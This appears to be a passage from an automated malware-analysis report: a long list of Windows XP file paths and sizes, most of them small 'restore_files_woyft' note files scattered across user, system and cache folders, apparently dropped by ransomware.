%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\58\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\10\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\8\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\34\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\1\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\26\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\wordpfct.wpd (892 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\23\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\13\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\62\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\36\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\2\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\14\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\winword.doc (426 bytes)
%Documents and Settings%\Default User\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\25\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\53\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\eng\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\glob.settings.js (860 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\27\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\45\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\52\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\22\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\13\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\si\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#kiks.yandex.ru\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\35\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\30\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\23\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\PrintHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\28\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\32\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\62\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\60\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\56\restore_files_woyft.txt (2 bytes)
C:\totalcmd\KEYBOARD.TXT (436 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\kiks.yandex.ru\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\SendTo\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\59\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\61\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\restore_files_woyft.txt (2 bytes)
C:\System Volume Information\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\2\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\55\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\54\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Winter.jpg (1225 bytes)
%Documents and Settings%\Default User\Desktop\restore_files_woyft.html (5 bytes)
C:\totalcmd\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\52\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\excel4.xls (419 bytes)
%Documents and Settings%\Default User\Desktop\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\29\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\43\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\30\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\jre1.6.0_18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\4\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Collab\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\42\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\PrintHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Games\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\48\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Recent\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\48\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\63\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Recent\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\24\restore_files_woyft.html (5 bytes)
C:\RECYCLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\41\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\38\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\Reader9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\restore_files_woyft.html (5 bytes)
C:\RECYCLER\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\50\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\can\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\33\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\Recovery_File_xpcyiernx.txt (250 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Wireshark\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\27\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\50\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Forms\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\powerpnt.ppt (454 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\25\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\39\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\49\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\MMC\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\49\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Communications\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\28\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\1\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\33\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (400 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\4\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\43\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\00064D96\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\27\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\12\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\muffin\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.TXT (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\35\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\SendTo\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\restore_files_woyft.txt (2 bytes)
C:\RECYCLER\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\32\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\8\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\40\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\40\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (9284 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\59\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\SendTo\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\brt\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Favorites\Links\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\49\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\4\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\54\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\29\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\62\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\63\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\60\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Wireshark\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\ActivePerl 5.16.2 Build 1602\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\11\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\57\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\38\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\GHISLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\E7VJ4HGS\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\52\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\42\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\22\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Collab\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\23\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Forms\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\42\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\23\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\54\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
C:\totalcmd\SIZE!.TXT (1606 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\57\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\VMware Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\restore_files_woyft.html (5 bytes)
